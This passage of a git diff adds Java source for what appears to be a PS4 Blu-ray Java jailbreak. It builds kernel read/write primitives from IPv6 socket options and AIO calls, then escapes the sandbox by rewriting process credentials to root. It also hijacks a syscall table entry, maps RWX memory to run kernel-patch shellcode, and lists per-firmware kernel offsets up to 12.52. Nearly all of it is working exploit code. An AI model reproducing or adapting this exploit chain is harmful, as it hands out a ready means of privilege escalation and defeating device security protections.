== 0) { + throw new RuntimeException("sceKernelGetModuleInfoFromAddr not found"); + } + + long addrInsideLibkernel = sceKernelGetModuleInfoFromAddr; + Buffer modInfo = new Buffer(0x300); + + long ret = api.call(sceKernelGetModuleInfoFromAddr, addrInsideLibkernel, 1, modInfo.address()); + if (ret != 0) { + throw new RuntimeException("sceKernelGetModuleInfoFromAddr() error: 0x" + Long.toHexString(ret)); + } + + libkernelBase = api.read64(modInfo.address() + SEGMENTS_OFFSET); + } + + private static void findSyscallWrappers() { + final int TEXT_SIZE = 0x40000; + byte[] libkernelText = new byte[TEXT_SIZE]; + for (int i = 0; i < TEXT_SIZE; i++) { + libkernelText[i] = api.read8(libkernelBase + i); + } + + for (int i = 0; i <= TEXT_SIZE - 12; i++) { + if (libkernelText[i] == 0x48 && + libkernelText[i + 1] == (byte)0xc7 && + libkernelText[i + 2] == (byte)0xc0 && + libkernelText[i + 7] == 0x49 && + libkernelText[i + 8] == (byte)0x89 && + libkernelText[i + 9] == (byte)0xca && + libkernelText[i + 10] == 0x0f && + libkernelText[i + 11] == 0x05) { + + int syscallNum = (libkernelText[i + 3] & 0xFF) | + ((libkernelText[i + 4] & 0xFF) << 8) | + ((libkernelText[i + 5] & 0xFF) << 16) | + ((libkernelText[i + 6] & 0xFF) << 24); + + if (syscallNum >= 0 && syscallNum < syscallWrappers.length) { + syscallWrappers[syscallNum] = libkernelBase + i; + } + } + } + } + + // Syscall wrappers + public static long syscall(int number, long arg0, long arg1, long arg2, long arg3, long arg4, long arg5) { + return api.call(syscallWrappers[number], arg0, arg1, arg2, arg3, arg4, arg5); + } + + public static long syscall(int number, long arg0, long arg1, long arg2, long arg3, long arg4) { + return api.call(syscallWrappers[number], arg0, arg1, arg2, arg3, arg4); + } + + public static long syscall(int number, long arg0, long arg1, long arg2, long arg3) { + return api.call(syscallWrappers[number], arg0, arg1, arg2, arg3); + } + + public static long syscall(int number, long arg0, long arg1, long arg2) { + return api.call(syscallWrappers[number], arg0, arg1, arg2); + } + + public static long syscall(int number, long arg0, long arg1) { + return api.call(syscallWrappers[number], arg0, arg1); + } + + public static long syscall(int number, long arg0) { + return api.call(syscallWrappers[number], arg0); + } + + public static long syscall(int number) { + return api.call(syscallWrappers[number]); + } + + // Utility functions + public static short htons(int port) { + return (short)(((port << 8) | (port >>> 8)) & 0xFFFF); + } + + public static int aton(String ip) { + String[] parts = split(ip, "\\."); + int a = Integer.parseInt(parts[0]); + int b = Integer.parseInt(parts[1]); + int c = Integer.parseInt(parts[2]); + int d = Integer.parseInt(parts[3]); + return (d << 24) | (c << 16) | (b << 8) | a; + } + + public static String toHexString(int value, int minWidth) { + String hex = Integer.toHexString(value); + StringBuffer sb = new StringBuffer(); + for (int i = hex.length(); i < minWidth; i++) { + sb.append("0"); + } + sb.append(hex); + return sb.toString(); + } + + public static String[] split(String str, String regex) { + java.util.Vector parts = new java.util.Vector(); + int start = 0; + int pos = 0; + + while ((pos = str.indexOf(".", start)) != -1) { + parts.addElement(str.substring(start, pos)); + start = pos + 1; + } + parts.addElement(str.substring(start)); + + String[] result = new String[parts.size()]; + for (int i = 0; i < parts.size(); i++) { + result[i] = (String)parts.elementAt(i); + } + return result; + } + + public static int createUdpSocket() { + long result = syscall(SYS_SOCKET, (long)AF_INET6, (long)SOCK_DGRAM, (long)IPPROTO_UDP); + if (result == -1) { + throw new RuntimeException("new_socket() error: " + result); + } + return (int)result; + } + + public static int createTcpSocket() { + long result = syscall(SYS_SOCKET, (long)AF_INET, (long)SOCK_STREAM, 0L); + if (result == -1) { + throw new RuntimeException("new_tcp_socket() error: " + result); + } + return (int)result; + } + + public static void setSockOpt(int sd, int level, int optname, Buffer optval, int optlen) { + long result = syscall(SYS_SETSOCKOPT, (long)sd, (long)level, (long)optname, optval.address(), (long)optlen); + if (result == -1) { + throw new RuntimeException("setsockopt() error: " + result); + } + } + + public static int getSockOpt(int sd, int level, int optname, Buffer optval, int optlen) { + Buffer size = new Buffer(8); + size.putInt(0, optlen); + long result = syscall(SYS_GETSOCKOPT, (long)sd, (long)level, (long)optname, optval.address(), size.address()); + if (result == -1) { + throw new RuntimeException("getsockopt() error: " + result); + } + return size.getInt(0); + } + + public static int getCurrentCore() { + try { + Buffer mask = new Buffer(0x10); + mask.fill((byte)0); + + long result = syscall(SYS_CPUSET_GETAFFINITY, (long)CPU_LEVEL_WHICH, (long)CPU_WHICH_TID, -1L, 0x10L, mask.address()); + if (result != 0) { + return -1; + } + + int maskValue = mask.getInt(0); + int position = 0; + int num = maskValue; + + while (num > 0) { + num = num >>> 1; + position++; + } + + return Math.max(0, position - 1); + } catch (Exception e) { + return -1; + } + } + + public static boolean pinToCore(int core) { + try { + Buffer mask = new Buffer(0x10); + mask.fill((byte)0); + + int maskValue = 1 << core; + mask.putShort(0, (short)maskValue); + + long result = syscall(SYS_CPUSET_SETAFFINITY, (long)CPU_LEVEL_WHICH, (long)CPU_WHICH_TID, -1L, 0x10L, mask.address()); + return result == 0; + } catch (Exception e) { + return false; + } + } + + public static boolean setRealtimePriority(int priority) { + try { + Buffer rtprio = new Buffer(0x4); + rtprio.putShort(0, (short)RTP_PRIO_REALTIME); + rtprio.putShort(2, (short)priority); + + long result = syscall(SYS_RTPRIO_THREAD, (long)RTP_SET, 0L, rtprio.address()); + return result == 0; + } catch (Exception e) { + return false; + } + } + + // AIO operations + public static Buffer createAioRequests(int numReqs) { + Buffer reqs1 = new Buffer(0x28 * numReqs); + for (int i = 0; i < numReqs; i++) { + reqs1.putInt(i * 0x28 + 0x20, -1); // fd = -1 + } + return reqs1; + } + + public static long aioSubmitCmd(int cmd, long reqs, int numReqs, int prio, long ids) { + return syscall(SYS_AIO_SUBMIT_CMD, (long)cmd, reqs, (long)numReqs, (long)prio, ids); + } + + public static long aioMultiCancel(long ids, int numIds, long states) { + return syscall(SYS_AIO_MULTI_CANCEL, ids, (long)numIds, states); + } + + public static long aioMultiPoll(long ids, int numIds, long states) { + return syscall(SYS_AIO_MULTI_POLL, ids, (long)numIds, states); + } + + public static long aioMultiDelete(long ids, int numIds, long states) { + return syscall(SYS_AIO_MULTI_DELETE, ids, (long)numIds, states); + } + + public static long aioMultiWait(long ids, int numIds, long states, int mode, long timeout) { + return syscall(SYS_AIO_MULTI_WAIT, ids, (long)numIds, states, (long)mode, timeout); + } + + // Bulk AIO operations + public static void cancelAios(long ids, int numIds) { + int len = MAX_AIO_IDS; + int rem = numIds % len; + int numBatches = (numIds - rem) / len; + + for (int i = 0; i < numBatches; i++) { + aioMultiCancel(ids + (i * 4 * len), len, AIO_ERRORS.address()); + } + + if (rem > 0) { + aioMultiCancel(ids + (numBatches * 4 * len), rem, AIO_ERRORS.address()); + } + } + + public static void freeAios(long ids, int numIds, boolean doCancel) { + int len = MAX_AIO_IDS; + int rem = numIds % len; + int numBatches = (numIds - rem) / len; + + for (int i = 0; i < numBatches; i++) { + long addr = ids + (i * 4 * len); + if (doCancel) { + aioMultiCancel(addr, len, AIO_ERRORS.address()); + } + aioMultiPoll(addr, len, AIO_ERRORS.address()); + aioMultiDelete(addr, len, AIO_ERRORS.address()); + } + + if (rem > 0) { + long addr = ids + (numBatches * 4 * len); + if (doCancel) { + aioMultiCancel(addr, rem, AIO_ERRORS.address()); + } + aioMultiPoll(addr, rem, AIO_ERRORS.address()); + aioMultiDelete(addr, rem, AIO_ERRORS.address()); + } + } + + public static void freeAios(long ids, int numIds) { + freeAios(ids, numIds, true); + } + + // IPv6 routing header operations + public static int buildRoutingHeader(Buffer buf, int size) { + int len = ((size >>> 3) - 1) & (~1); + size = (len + 1) << 3; + + buf.putByte(0, (byte)0); // ip6r_nxt + buf.putByte(1, (byte)len); // ip6r_len + buf.putByte(2, (byte)0); // ip6r_type + buf.putByte(3, (byte)(len >>> 1)); // ip6r_segleft + + return size; + } + + public static int getRthdr(int sd, Buffer buf, int len) { + return getSockOpt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len); + } + + public static void setRthdr(int sd, Buffer buf, int len) { + setSockOpt(sd, IPPROTO_IPV6, IPV6_RTHDR, buf, len); + } + + public static void freeRthdrs(int[] sds) { + for (int i = 0; i < sds.length; i++) { + if (sds[i] >= 0) { + setSockOpt(sds[i], IPPROTO_IPV6, IPV6_RTHDR, new Buffer(1), 0); + } + } + } + + // EVF operations + public static int createEvf(long name, int flags) { + long result = syscall(SYS_EVF_CREATE, name, 0L, (long)flags); + if (result == -1) { + throw new RuntimeException("evf_create() error: " + result); + } + return (int)result; + } + + public static void setEvfFlags(int id, int flags) { + long clearResult = syscall(SYS_EVF_CLEAR, (long)id, 0L); + if (clearResult == -1) { + throw new RuntimeException("evf_clear() error: " + clearResult); + } + + long setResult = syscall(SYS_EVF_SET, (long)id, (long)flags); + if (setResult == -1) { + throw new RuntimeException("evf_set() error: " + setResult); + } + } + + public static void freeEvf(int id) { + long result = syscall(SYS_EVF_DELETE, (long)id); + if (result == -1) { + throw new RuntimeException("evf_delete() error: " + result); + } + } + + // Array manipulation helpers + public static void removeSocketFromArray(int[] sds, int index) { + if (index >= 0 && index < sds.length) { + for (int i = index; i < sds.length - 1; i++) { + sds[i] = sds[i + 1]; + } + sds[sds.length - 1] = -1; + } + } + + public static void addSocketToArray(int[] sds, int socket) { + for (int i = 0; i < sds.length; i++) { + if (sds[i] == -1) { + sds[i] = socket; + break; + } + } + } + + // String extraction helper + public static String extractStringFromBuffer(Buffer buf) { + StringBuffer sb = new StringBuffer(); + for (int i = 0; i < 8; i++) { + byte b = buf.getByte(i); + if (b == 0) break; + if (b >= 32 && b <= 126) { + sb.append((char)b); + } else { + break; + } + } + return sb.toString(); + } +} \ No newline at end of file diff --git a/src/org/bdj/external/Kernel.java b/src/org/bdj/external/Kernel.java new file mode 100644 index 0000000..9ffe9bf --- /dev/null +++ b/src/org/bdj/external/Kernel.java @@ -0,0 +1,580 @@ +package org.bdj.external; + +import org.bdj.api.*; + +public class Kernel { + + private static API api; + + static { + try { + api = API.getInstance(); + } catch (Exception e) { + throw new ExceptionInInitializerError(e); + } + } + + + public static class KernelAddresses { + public long evfString = 0; + public long curproc = 0; + public long dataBase = 0; + public long curprocFd = 0; + public long curprocOfiles = 0; + public long insideKdata = 0; + public long dmapBase = 0; + public long kernelCr3 = 0; + public long allproc = 0; + public long base = 0; + + public boolean isInitialized() { + return curproc != 0 && insideKdata != 0; + } + + public void reset() { + evfString = 0; + curproc = 0; + dataBase = 0; + curprocFd = 0; + curprocOfiles = 0; + insideKdata = 0; + dmapBase = 0; + kernelCr3 = 0; + allproc = 0; + base = 0; + } + } + + public static KernelAddresses addr = new KernelAddresses(); + + public interface KernelInterface { + void copyout(long kaddr, long uaddr, int len); + void copyin(long uaddr, long kaddr, int len); + void readBuffer(long kaddr, Buffer buf, int len); + void writeBuffer(long kaddr, Buffer buf, int len); + + long kread8(long addr); + void kwrite8(long addr, long val); + int kread32(long addr); + void kwrite32(long addr, int val); + } + + // Global kernel R/W instance + public static KernelInterface kernelRW = null; + + // Kernel read/write primitives + public static class KernelRW implements KernelInterface { + private int masterSock; + private int workerSock; + private Buffer masterTargetBuffer; + private Buffer slaveBuffer; + private long curprocOfiles; + + // Pipe-based kernel R/W + private int pipeReadFd = -1; + private int pipeWriteFd = -1; + private long pipeAddr = 0; + private Buffer pipemapBuffer; + private Buffer readMem; + private boolean pipeInitialized = false; + + public KernelRW(int masterSock, int workerSock, long curprocOfiles) { + this.masterSock = masterSock; + this.workerSock = workerSock; + this.curprocOfiles = curprocOfiles; + + this.masterTargetBuffer = new Buffer(0x14); + this.slaveBuffer = new Buffer(0x14); + this.pipemapBuffer = new Buffer(0x14); + this.readMem = new Buffer(0x1000); + } + + public void initializePipeRW() { + if (pipeInitialized) return; + + createPipePair(); + + if (pipeReadFd > 0 && pipeWriteFd > 0) { + pipeAddr = getFdDataAddr(pipeReadFd); + if ((pipeAddr >>> 48) == 0xFFFF) { + pipeInitialized = true; + kernelRW = this; + } else { + } + } else { + } + } + + private void createPipePair() { + Buffer fildes = new Buffer(8); + long result = Helper.syscall(Helper.SYS_PIPE, fildes.address()); + if (result == 0) { + pipeReadFd = fildes.getInt(0); + pipeWriteFd = fildes.getInt(4); + } + } + + private void ipv6WriteToVictim(long kaddr) { + masterTargetBuffer.putLong(0, kaddr); + masterTargetBuffer.putLong(8, 0); + masterTargetBuffer.putInt(16, 0); + Helper.setSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, masterTargetBuffer, 0x14); + } + + private void ipv6KernelRead(long kaddr, Buffer bufferAddr) { + ipv6WriteToVictim(kaddr); + Helper.getSockOpt(workerSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, bufferAddr, 0x14); + } + + private void ipv6KernelWrite(long kaddr, Buffer bufferAddr) { + ipv6WriteToVictim(kaddr); + Helper.setSockOpt(workerSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, bufferAddr, 0x14); + } + + private long ipv6KernelRead8(long kaddr) { + ipv6KernelRead(kaddr, slaveBuffer); + return slaveBuffer.getLong(0); + } + + private void ipv6KernelWrite8(long kaddr, long val) { + slaveBuffer.putLong(0, val); + slaveBuffer.putLong(8, 0); + slaveBuffer.putInt(16, 0); + ipv6KernelWrite(kaddr, slaveBuffer); + } + + public void copyout(long kaddr, long uaddr, int len) { + pipemapBuffer.putLong(0, 0x4000000040000000L); + pipemapBuffer.putLong(8, 0x4000000000000000L); + pipemapBuffer.putInt(16, 0); + ipv6KernelWrite(pipeAddr, pipemapBuffer); + + pipemapBuffer.putLong(0, kaddr); + pipemapBuffer.putLong(8, 0); + pipemapBuffer.putInt(16, 0); + ipv6KernelWrite(pipeAddr + 0x10, pipemapBuffer); + + Helper.syscall(Helper.SYS_READ, (long)pipeReadFd, uaddr, (long)len); + } + + public void copyin(long uaddr, long kaddr, int len) { + pipemapBuffer.putLong(0, 0); + pipemapBuffer.putLong(8, 0x4000000000000000L); + pipemapBuffer.putInt(16, 0); + ipv6KernelWrite(pipeAddr, pipemapBuffer); + + pipemapBuffer.putLong(0, kaddr); + pipemapBuffer.putLong(8, 0); + pipemapBuffer.putInt(16, 0); + ipv6KernelWrite(pipeAddr + 0x10, pipemapBuffer); + + Helper.syscall(Helper.SYS_WRITE, (long)pipeWriteFd, uaddr, (long)len); + } + + public void readBuffer(long kaddr, Buffer buf, int len) { + Buffer mem = readMem; + copyout(kaddr, mem.address(), len); + for (int i = 0; i < len; i++) { + buf.putByte(i, mem.getByte(i)); + } + } + + public void writeBuffer(long kaddr, Buffer buf, int len) { + copyin(buf.address(), kaddr, len); + } + + public long getFdDataAddr(int sock) { + long filedescentAddr = curprocOfiles + sock * KernelOffset.SIZEOF_OFILES; + long fileAddr = ipv6KernelRead8(filedescentAddr + 0x0); + return ipv6KernelRead8(fileAddr + 0x0); + } + + public long getSockPktopts(int sock) { + long fdData = getFdDataAddr(sock); + long pcb = ipv6KernelRead8(fdData + KernelOffset.SO_PCB); + return ipv6KernelRead8(pcb + KernelOffset.INPCB_PKTOPTS); + } + + // Setup pktinfo overlap for fast R/W + public void setupPktinfo(long workerPktopts) { + masterTargetBuffer.putLong(0, workerPktopts + 0x10); + masterTargetBuffer.putLong(8, 0); + masterTargetBuffer.putInt(16, 0); + Helper.setSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, masterTargetBuffer, 0x14); + + // Initialize pipes immediately + initializePipeRW(); + } + + public long kread8(long addr) { + Buffer buf = new Buffer(8); + readBuffer(addr, buf, 8); + return buf.getLong(0); + } + + public void kwrite8(long addr, long val) { + Buffer buf = new Buffer(8); + buf.putLong(0, val); + writeBuffer(addr, buf, 8); + } + + public int kread32(long addr) { + Buffer buf = new Buffer(4); + readBuffer(addr, buf, 4); + return buf.getInt(0); + } + + public void kwrite32(long addr, int val) { + Buffer buf = new Buffer(4); + buf.putInt(0, val); + writeBuffer(addr, buf, 4); + } + + } + + public static String readNullTerminatedString(long kaddr) { + if (!isKernelRWAvailable()) { + return ""; + } + + StringBuffer sb = new StringBuffer(); + + while (sb.length() < 1000) { + long value = kernelRW.kread8(kaddr); + + for (int i = 0; i < 8; i++) { + byte b = (byte)((value >>> (i * 8)) & 0xFF); + if (b == 0) { + return sb.toString(); + } + if (b >= 32 && b <= 126) { + sb.append((char)(b & 0xFF)); + } else { + return sb.toString(); + } + } + + kaddr += 8; + } + + return sb.toString(); + } + + public static long slowKread8(int masterSock, Buffer pktinfo, int pktinfoLen, Buffer readBuf, long addr) { + int len = 8; + int offset = 0; + + for (int i = 0; i < len; i++) { + readBuf.putByte(i, (byte)0); + } + + while (offset < len) { + pktinfo.putLong(8, addr + offset); + Helper.setSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, pktinfo, pktinfoLen); + + Buffer tempBuf = new Buffer(len - offset); + int n = Helper.getSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_NEXTHOP, tempBuf, len - offset); + + if (n == 0) { + readBuf.putByte(offset, (byte)0); + offset++; + } else { + for (int i = 0; i < n; i++) { + readBuf.putByte(offset + i, tempBuf.getByte(i)); + } + offset += n; + } + } + + return readBuf.getLong(0); + } + + public static long getFdDataAddrSlow(int masterSock, Buffer pktinfo, int pktinfoLen, Buffer readBuf, int sock, long curprocOfiles) { + long filedescentAddr = curprocOfiles + sock * KernelOffset.SIZEOF_OFILES; + long fileAddr = slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, filedescentAddr + 0x0); + return slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, fileAddr + 0x0); + } + + public static long findProcByName(String name) { + if (!isKernelRWAvailable()) { + return 0; + } + + long proc = kernelRW.kread8(addr.allproc); + int count = 0; + + while (proc != 0 && count < 100) { + String procName = readNullTerminatedString(proc + KernelOffset.PROC_COMM); + if (name.equals(procName)) { + return proc; + } + proc = kernelRW.kread8(proc + 0x0); + count++; + } + + return 0; + } + + public static long findProcByPid(int pid) { + if (!isKernelRWAvailable()) { + return 0; + } + + long proc = kernelRW.kread8(addr.allproc); + int count = 0; + + while (proc != 0 && count < 100) { + int procPid = kernelRW.kread32(proc + KernelOffset.PROC_PID); + if (procPid == pid) { + return proc; + } + proc = kernelRW.kread8(proc + 0x0); + count++; + } + + return 0; + } + + public static long getProcCr3(long proc) { + long vmspace = kernelRW.kread8(proc + KernelOffset.PROC_VM_SPACE); + long pmapStore = kernelRW.kread8(vmspace + KernelOffset.VMSPACE_VM_PMAP); + return kernelRW.kread8(pmapStore + KernelOffset.PMAP_CR3); + } + + public static long virtToPhys(long virtAddr, long cr3) { + if (cr3 == 0) { + cr3 = addr.kernelCr3; + } + return cpuWalkPt(cr3, virtAddr); + } + + public static long physToDmap(long physAddr) { + return addr.dmapBase + physAddr; + } + + // CPU page table walking + private static final long CPU_PG_PHYS_FRAME = 0x000ffffffffff000L; + private static final long CPU_PG_PS_FRAME = 0x000fffffffe00000L; + + private static int cpuPdeField(long pde, String field) { + int shift = 0; + int mask = 0; + + if ("PRESENT".equals(field)) { shift = 0; mask = 1; } + else if ("RW".equals(field)) { shift = 1; mask = 1; } + else if ("USER".equals(field)) { shift = 2; mask = 1; } + else if ("PS".equals(field)) { shift = 7; mask = 1; } + else if ("EXECUTE_DISABLE".equals(field)) { shift = 63; mask = 1; } + + return (int)((pde >>> shift) & mask); + } + + public static long cpuWalkPt(long cr3, long vaddr) { + long pml4eIndex = (vaddr >>> 39) & 0x1ff; + long pdpeIndex = (vaddr >>> 30) & 0x1ff; + long pdeIndex = (vaddr >>> 21) & 0x1ff; + long pteIndex = (vaddr >>> 12) & 0x1ff; + + // pml4 + long pml4e = kernelRW.kread8(physToDmap(cr3) + pml4eIndex * 8); + if (cpuPdeField(pml4e, "PRESENT") != 1) { + return 0; + } + + // pdp + long pdpBasePa = pml4e & CPU_PG_PHYS_FRAME; + long pdpeVa = physToDmap(pdpBasePa) + pdpeIndex * 8; + long pdpe = kernelRW.kread8(pdpeVa); + + if (cpuPdeField(pdpe, "PRESENT") != 1) { + return 0; + } + + // pd + long pdBasePa = pdpe & CPU_PG_PHYS_FRAME; + long pdeVa = physToDmap(pdBasePa) + pdeIndex * 8; + long pde = kernelRW.kread8(pdeVa); + + if (cpuPdeField(pde, "PRESENT") != 1) { + return 0; + } + + // large page + if (cpuPdeField(pde, "PS") == 1) { + return (pde & CPU_PG_PS_FRAME) | (vaddr & 0x1fffff); + } + + // pt + long ptBasePa = pde & CPU_PG_PHYS_FRAME; + long pteVa = physToDmap(ptBasePa) + pteIndex * 8; + long pte = kernelRW.kread8(pteVa); + + if (cpuPdeField(pte, "PRESENT") != 1) { + return 0; + } + + return (pte & CPU_PG_PHYS_FRAME) | (vaddr & 0x3fff); + } + + public static boolean postExploitationPS4() { + + if (addr.curproc == 0 || addr.insideKdata == 0) { + return false; + } + + long evfPtr = addr.insideKdata; + + String evfString = readNullTerminatedString(evfPtr); + if (!"evf cv".equals(evfString)) { + return false; + } + + addr.dataBase = evfPtr - KernelOffset.getPS4Offset("EVF_OFFSET"); + + if (!verifyElfHeader()) { + return false; + } + + if (!escapeSandbox(addr.curproc)) { + return false; + } + + applyKernelPatchesPS4(); + + + return true; + } + + private static boolean verifyElfHeader() { + long headerValue = kernelRW.kread8(addr.dataBase); + + int b0 = (int)(headerValue & 0xFF); + int b1 = (int)((headerValue >>> 8) & 0xFF); + int b2 = (int)((headerValue >>> 16) & 0xFF); + int b3 = (int)((headerValue >>> 24) & 0xFF); + + + if (b0 == 0x7F && b1 == 0x45 && b2 == 0x4C && b3 == 0x46) { + return true; + } else { + } + + return false; + } + + private static boolean escapeSandbox(long curproc) { + + if ((curproc >>> 48) != 0xFFFF) { + return false; + } + + long PRISON0 = addr.dataBase + KernelOffset.getPS4Offset("PRISON0"); + long ROOTVNODE = addr.dataBase + KernelOffset.getPS4Offset("ROOTVNODE"); + long OFFSET_P_UCRED = 0x40; + + long procFd = kernelRW.kread8(curproc + KernelOffset.PROC_FD); + long ucred = kernelRW.kread8(curproc + OFFSET_P_UCRED); + + if ((procFd >>> 48) != 0xFFFF || (ucred >>> 48) != 0xFFFF) { + return false; + } + + + kernelRW.kwrite32(ucred + 0x04, 0); // cr_uid + kernelRW.kwrite32(ucred + 0x08, 0); // cr_ruid + kernelRW.kwrite32(ucred + 0x0C, 0); // cr_svuid + kernelRW.kwrite32(ucred + 0x10, 1); // cr_ngroups + kernelRW.kwrite32(ucred + 0x14, 0); // cr_rgid + + long prison0 = kernelRW.kread8(PRISON0); + if ((prison0 >>> 48) != 0xFFFF) { + return false; + } + kernelRW.kwrite8(ucred + 0x30, prison0); + + // Add JIT privileges + kernelRW.kwrite8(ucred + 0x60, -1); + kernelRW.kwrite8(ucred + 0x68, -1); + + long rootvnode = kernelRW.kread8(ROOTVNODE); + if ((rootvnode >>> 48) != 0xFFFF) { + return false; + } + kernelRW.kwrite8(procFd + 0x10, rootvnode); // fd_rdir + kernelRW.kwrite8(procFd + 0x18, rootvnode); // fd_jdir + + + return true; + } + + private static void applyKernelPatchesPS4() { + + byte[] shellcode = KernelOffset.getKernelPatchesShellcode(); + if (shellcode.length == 0) { + return; + } + + + long mappingAddr = 0x920100000L; + long shadowMappingAddr = 0x926100000L; + + long sysent661Addr = addr.dataBase + KernelOffset.getPS4Offset("SYSENT_661_OFFSET"); + int syNarg = kernelRW.kread32(sysent661Addr); + long syCall = kernelRW.kread8(sysent661Addr + 8); + int syThrcnt = kernelRW.kread32(sysent661Addr + 0x2c); + + kernelRW.kwrite32(sysent661Addr, 2); + kernelRW.kwrite8(sysent661Addr + 8, addr.dataBase + KernelOffset.getPS4Offset("JMP_RSI_GADGET")); + kernelRW.kwrite32(sysent661Addr + 0x2c, 1); + + int PROT_READ = 0x1; + int PROT_WRITE = 0x2; + int PROT_EXEC = 0x4; + int PROT_RW = PROT_READ | PROT_WRITE; + int PROT_RWX = PROT_READ | PROT_WRITE | PROT_EXEC; + + int alignedMemsz = 0x10000; + + // create shm with exec permission + long execHandle = Helper.syscall(Helper.SYS_JITSHM_CREATE, 0L, (long)alignedMemsz, (long)PROT_RWX); + + // create shm alias with write permission + long writeHandle = Helper.syscall(Helper.SYS_JITSHM_ALIAS, execHandle, (long)PROT_RW); + + // map shadow mapping and write into it + Helper.syscall(Helper.SYS_MMAP, shadowMappingAddr, (long)alignedMemsz, (long)PROT_RW, 0x11L, writeHandle, 0L); + + for (int i = 0; i < shellcode.length; i++) { + api.write8(shadowMappingAddr + i, shellcode[i]); + } + + // map executable segment + Helper.syscall(Helper.SYS_MMAP, mappingAddr, (long)alignedMemsz, (long)PROT_RWX, 0x11L, execHandle, 0L); + + Helper.syscall(Helper.SYS_KEXEC, mappingAddr); + + + kernelRW.kwrite32(sysent661Addr, syNarg); + kernelRW.kwrite8(sysent661Addr + 8, syCall); + kernelRW.kwrite32(sysent661Addr + 0x2c, syThrcnt); + + Helper.syscall(Helper.SYS_CLOSE, writeHandle); + + } + + public static void setKernelAddresses(long curproc, long curprocOfiles, long insideKdata, long allproc) { + addr.curproc = curproc; + addr.curprocOfiles = curprocOfiles; + addr.insideKdata = insideKdata; + addr.allproc = allproc; + + } + + public static boolean isKernelRWAvailable() { + return kernelRW != null && addr.isInitialized(); + } + + public static void initializeKernelOffsets() { + KernelOffset.initializeFromHelper(); + } +} \ No newline at end of file diff --git a/src/org/bdj/external/KernelOffset.java b/src/org/bdj/external/KernelOffset.java new file mode 100644 index 0000000..b2e6921 --- /dev/null +++ b/src/org/bdj/external/KernelOffset.java @@ -0,0 +1,193 @@ +package org.bdj.external; + +import java.util.Hashtable; + +public class KernelOffset { + + // proc structure + public static final int PROC_PID = 0xb0; + public static final int PROC_FD = 0x48; + public static final int PROC_VM_SPACE = 0x200; + public static final int PROC_COMM = 0x448; + public static final int PROC_SYSENT = 0x470; + + // filedesc + public static final int FILEDESC_OFILES = 0x0; + public static final int SIZEOF_OFILES = 0x8; + + // vmspace structure + public static final int VMSPACE_VM_PMAP = 0x1C8; + public static final int VMSPACE_VM_VMID = 0x1D4; + + // pmap structure + public static final int PMAP_CR3 = 0x28; + + // network + public static final int SO_PCB = 0x18; + public static final int INPCB_PKTOPTS = 0x118; + + // PS4 IPv6 structure + public static final int PS4_OFF_TCLASS = 0xb0; + public static final int PS4_OFF_IP6PO_RTHDR = 0x68; + + private static Hashtable ps4KernelOffsets; + private static Hashtable shellcodeData; + private static String currentFirmware = null; + + static { + initializePS4Offsets(); + initializeShellcodes(); + } + + private static void initializePS4Offsets() { + ps4KernelOffsets = new Hashtable(); + + // PS4 9.00 + addFirmwareOffsets("9.00", 0x7f6f27L, 0x111f870L, 0x21eff20L, 0x221688dL, 0x1107f00L, 0x4c7adL, 0x3977F0); + + // PS4 9.03/9.04 + addFirmwareOffsets("9.03", 0x7f4ce7L, 0x111b840L, 0x21ebf20L, 0x221288dL, 0x1103f00L, 0x5325bL, 0x3959F0); + addFirmwareOffsets("9.04", 0x7f4ce7L, 0x111b840L, 0x21ebf20L, 0x221288dL, 0x1103f00L, 0x5325bL, 0x3959F0); + + // PS4 9.50/9.51/9.60 + addFirmwareOffsets("9.50", 0x769a88L, 0x11137d0L, 0x21a6c30L, 0x221a40dL, 0x1100ee0L, 0x15a6dL, 0x85EE0); + addFirmwareOffsets("9.51", 0x769a88L, 0x11137d0L, 0x21a6c30L, 0x221a40dL, 0x1100ee0L, 0x15a6dL, 0x85EE0); + addFirmwareOffsets("9.60", 0x769a88L, 0x11137d0L, 0x21a6c30L, 0x221a40dL, 0x1100ee0L, 0x15a6dL, 0x85EE0); + + // PS4 10.00/10.01 + addFirmwareOffsets("10.00", 0x7b5133L, 0x111b8b0L, 0x1b25bd0L, 0x1b9e08dL, 0x110a980L, 0x68b1L, 0x45B10); + addFirmwareOffsets("10.01", 0x7b5133L, 0x111b8b0L, 0x1b25bd0L, 0x1b9e08dL, 0x110a980L, 0x68b1L, 0x45B10); + + // PS4 10.50/10.70/10.71 + addFirmwareOffsets("10.50", 0x7a7b14L, 0x111b910L, 0x1bf81f0L, 0x1be460dL, 0x110a5b0L, 0x50dedL, 0x25E330); + addFirmwareOffsets("10.70", 0x7a7b14L, 0x111b910L, 0x1bf81f0L, 0x1be460dL, 0x110a5b0L, 0x50dedL, 0x25E330); + addFirmwareOffsets("10.71", 0x7a7b14L, 0x111b910L, 0x1bf81f0L, 0x1be460dL, 0x110a5b0L, 0x50dedL, 0x25E330); + + // PS4 11.00 + addFirmwareOffsets("11.00", 0x7fc26fL, 0x111f830L, 0x2116640L, 0x221c60dL, 0x1109350L, 0x71a21L, 0x58F10); + + // PS4 11.02 + addFirmwareOffsets("11.02", 0x7fc22fL, 0x111f830L, 0x2116640L, 0x221c60dL, 0x1109350L, 0x71a21L, 0x58F10); + + // PS4 11.50/11.52 + addFirmwareOffsets("11.50", 0x784318L, 0x111fa18L, 0x2136e90L, 0x21cc60d, 0x110a760L, 0x704d5L, 0xE6C20); + addFirmwareOffsets("11.52", 0x784318L, 0x111fa18L, 0x2136e90L, 0x21cc60d, 0x110a760L, 0x704d5L, 0xE6C20); + + // PS4 12.00/12.02 + addFirmwareOffsets("12.00", 0x784798L, 0x111fa18L, 0x2136e90L, 0x21cc60dL, 0x110a760L, 0x47b31L, 0xE6C20); + addFirmwareOffsets("12.02", 0x784798L, 0x111fa18L, 0x2136e90L, 0x21cc60dL, 0x110a760L, 0x47b31L, 0xE6C20); + + // PS4 12.50/12.52, fill only really needed ones + addFirmwareOffsets("12.50", 0, 0x111fa18L, 0x2136e90L, 0, 0x110a760L, 0x47b31L, 0xE6C20); + addFirmwareOffsets("12.52", 0, 0x111fa18L, 0x2136e90L, 0, 0x110a760L, 0x47b31L, 